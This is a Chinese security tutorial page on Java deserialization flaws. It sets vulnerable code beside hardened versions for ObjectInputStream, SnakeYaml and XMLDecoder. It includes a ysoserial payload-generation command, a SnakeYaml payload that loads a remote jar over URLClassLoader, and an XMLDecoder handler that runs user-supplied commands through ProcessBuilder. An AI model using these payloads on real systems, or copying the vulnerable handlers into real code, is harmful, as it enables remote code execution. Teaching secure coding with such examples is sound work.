当前位置: 首页 > ops >正文

JavaSec-专题-反序列化

简介

序列化:将Java对象转换为字节序列的过程,便于保存在内存、文件、数据库中,ObjectOutputStream类的writeObject()方法可以实现序列化 反序列化:指把字节序列恢复为Java对象的过程,ObjectInputStream类的readObject()方法用于反序列化 反序列化漏洞:攻击者可以通过受影响的接口直接或间接地传入恶意的反序列化对象,从而造成任意代码执行 Java中可分为:原生反序列化类(ObjectInputStream.readObject()、SnakeYaml、XMLDecoder)、三方组件反序列化(Fastjson、Jackson、Xstream……)

1.漏洞场景:ObjectInputStream.readObject()

ysoserial项目地址:https://github.com/frohoff/ysoserial
payload生成:java -jar ysoserial-all.jar CommonsCollections5 "open -a Calculator" | base64

public R vul(String payload) {try {payload = payload.replace(" ", "+");byte[] bytes = Base64.getDecoder().decode(payload);ByteArrayInputStream stream = new ByteArrayInputStream(bytes);java.io.ObjectInputStream in = new java.io.ObjectInputStream(stream);in.readObject();in.close();return R.ok("[+]Java反序列化:ObjectInputStream.readObject()");} catch (Exception e) {return R.error("[-]请输入正确的Payload!\n"+e.getMessage());}
}

2.安全场景:关闭不安全的反序列化

代码审计SINK点:1、JDK(ObjectInputStream.readObject)2、XMLDecoder.readObject3、Yaml.load4、XStream.fromXML5、ObjectMapper.readValue6、JSON.parseObject

安全代码

public R safe1(String payload) {// 安全措施:禁用不安全的反序列化System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "false");try {payload = payload.replace(" ", "+");byte[] bytes = Base64.getDecoder().decode(payload);ByteArrayInputStream stream = new ByteArrayInputStream(bytes);java.io.ObjectInputStream in = new java.io.ObjectInputStream(stream);in.readObject();in.close();return R.ok("[+]Java反序列化:ObjectInputStream.readObject()");} catch (Exception e) {return R.error("[-]请输入正确的Payload!\n"+e.getMessage());}
}

3.安全场景:反序列化黑白名单

ValidatingObjectInputStream:这是Apache Commons IO 提供的一个类,它允许在反序列化时指定可以接受的类或拒绝的类。通过accept/reject(Class) 方法,可以指定只允许/拒绝某些类进行反序列化。
 

安全代码

public R safe2(String payload) {try {payload = payload.replace(" ", "+");byte[] bytes = Base64.getDecoder().decode(payload);ByteArrayInputStream stream = new ByteArrayInputStream(bytes);// 创建 ValidatingObjectInputStream 对象ValidatingObjectInputStream ois = new ValidatingObjectInputStream(stream);// 设置拒绝反序列化的类ois.reject(java.lang.Runtime.class);ois.reject(java.lang.ProcessBuilder.class);// 只允许反序列化Sqli类ois.accept(Sqli.class);ois.readObject();return R.ok("[+]Java反序列化:ObjectInputStream.readObject()");} catch (Exception e) {return R.error("[-]请输入正确的Payload!\n"+e.getMessage());}
}

反序列化 - SnakeYaml

简介

SnakeYAML是一个用于解析和生成YAML格式数据的流行Java库,支持YAML1.1和1.2规范,能够实现YAML与Java对象之间的序列化和反序列化 漏洞原理:yaml反序列化时可以通过!!+全类名指定反序列化的类,反序列化过程中会实例化该类,可以通过构造ScriptEngineManager payload并利用SPI机制通过URLClassLoader或者其他payload如JNDI方式远程加载实例化恶意类从而实现任意代码执行

4.漏洞场景:SnakeYaml

反序列化流程:1、导入依赖:使用Maven/Gradle项目时,首先添加SnakeYAML的依赖2、创建Yaml实例:使用Yaml类的实例来处理反序列化。可以通过无参构造函数创建,也可以通过传递一个Constructor来定制化反序列化的方式(如使用SafeConstructor提高安全性)3、调用load()方法:使用Yaml实例的load()方法,将YAML字符串或输入流转换为相应的Java对象4、处理反序列化后的对象:根据实际业务需求对反序列化后的对象进行处理

缺陷代码

public R vul(String payload) {Yaml y = new Yaml();y.load(payload);return R.ok("[+]Java反序列化:SnakeYaml");
}// payload示例
payload=!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ['http://127.0.0.1:7777/yaml-payload.jar']]]]

5.安全场景:SafeConstructor安全构造

SafeConstructor是SnakeYAM 提供的一个安全构造器,用于防止反序列化漏洞,确保只反序列化基本类型和安全的对象

public R safe(String payload) {try {Yaml y = new Yaml(new SafeConstructor());y.load(payload);return R.ok("[+]Java反序列化:SnakeYaml安全构造");} catch (Exception e) {return R.error("[-]Java反序列化:SnakeYaml反序列化失败");}
}

反序列化 - XMLDecoder

XMLDecoder是Java标准库中提供的一个类,用于将XML格式的数据反序列化为Java对象。它是JavaBeans机制的一部分,能够将符合JavaBeans规范的XML文件解析为Java对象

6.漏洞场景:xmlDecoder.readObject()

用户输入被构建为包含ProcessBuilder对象的XML结构,并传入命令数组。生成的XML被XMLDecoder解析,反序列化后通过ProcessBuilder执行命令

public R vul(String payload) {String[] strCmd = payload.split(" ");StringBuilder xml = new StringBuilder().append("<?xml version=\"1.0\" encoding=\"UTF-8\"?>").append("<java version=\"1.8.0_151\" class=\"java.beans.XMLDecoder\">").append("<object class=\"java.lang.ProcessBuilder\">").append("<array class=\"java.lang.String\" length=\"").append(strCmd.length).append("\">");for (int i = 0; i < strCmd.length; i++) {xml.append("<void index=\"").append(i).append("\"><string>").append(strCmd[i]).append("</string></void>");}xml.append("</array><void method=\"start\" /></object></java>");try {new java.beans.XMLDecoder(new ByteArrayInputStream(xml.toString().getBytes(StandardCharsets.UTF_8))).readObject().toString();return R.ok("命令执行成功");} catch (Exception e) {return R.error("命令执行失败: " + e.getMessage());}
}

7.安全代码:使用SAX替换XMLDecoder

SAX:事件驱动的特性和内存管理方式,更加安全,适合处理不受信任的数据
XMLDecoder:由于反序列化过程的性质,存在较高的安全风险,建议仅在处理可信数据时使用

public R safe(@RequestParam String payload) {try {// 构建 XML 字符串...// 使用 SAX 解析器解析 XMLSAXParserFactory factory = SAXParserFactory.newInstance();SAXParser saxParser = factory.newSAXParser();CommandHandler handler = new CommandHandler();// 将 ByteArrayInputStream 包装成 InputSourceInputSource inputSource = new InputSource(new ByteArrayInputStream(xml.toString().getBytes(StandardCharsets.UTF_8)));saxParser.parse(inputSource, handler);// 获取解析后的命令参数List<String> args = handler.getArgs();// 处理解析后的命令参数System.out.println("Parsed command: " + String.join(" ", args));return R.ok("[+]命令解析成功:"+String.join(" ", args));} catch (Exception e) {return R.error("[-]命令解析失败: " + e.getMessage());}
}

http://www.xdnf.cn/news/11808.html

相关文章:

  • 猎板硬金镀层厚度:高频通信领域的性能分水岭
  • Python 区块链开发实战:从零到一构建智能合约
  • TypeScript 编译 ES6+ 语法到兼容的 JavaScript介绍
  • 【后端】RPC
  • Java设计模式深度解析:策略模式的核心原理与实战应用
  • unix/linux,sudo,其高级使用
  • 智能进化论:AI必须跨越的四大认知鸿沟
  • 第5篇《中间件负载均衡与连接池管理机制设计》
  • DuckDB + Spring Boot + MyBatis 构建高性能本地数据分析引擎
  • 测试面试题 手机号验证码登录测试用例
  • Python-多线程(一)
  • 网络编程及原理(一)
  • 协议融合驱动效能跃升:Modbus转Ethernet IP的挤出吹塑机应用
  • SSH登陆Linux常见问题大全
  • 分不清路由器、交换机、光猫的概念,一文带你迅速搞懂!!!
  • 黑客常备十大编程语言,每一个都不容易学,但每一个又很有用
  • Java String类(超级详细!)
  • linux mkfs命令参数及用法详解---linux格式化文件系统命令
  • 二叉排序树
  • 物联网应用技术综合实训室解决方案
  • 2021-03-14
  • 服务器基础知识全解(汇总版)
  • 电脑软件:键盘按键修改器——keytweak使用介绍
  • 最好的磁盘管理工具Acronis Disk Director Suite 10.0英文原版 + 注册机 + 使用图文介绍...
  • 电脑打印文件全部步骤_条码打印机的操作步骤
  • 【运维知识进阶篇】集群架构-阿里云配置HTTPS证书
  • 阅读这篇文章,彻底了解响应式网页设计
  • 取消a或input标签聚焦后出现虚线框
  • 11款相似图片搜索引擎推荐,以图搜图将不再是难事
  • TBase的入门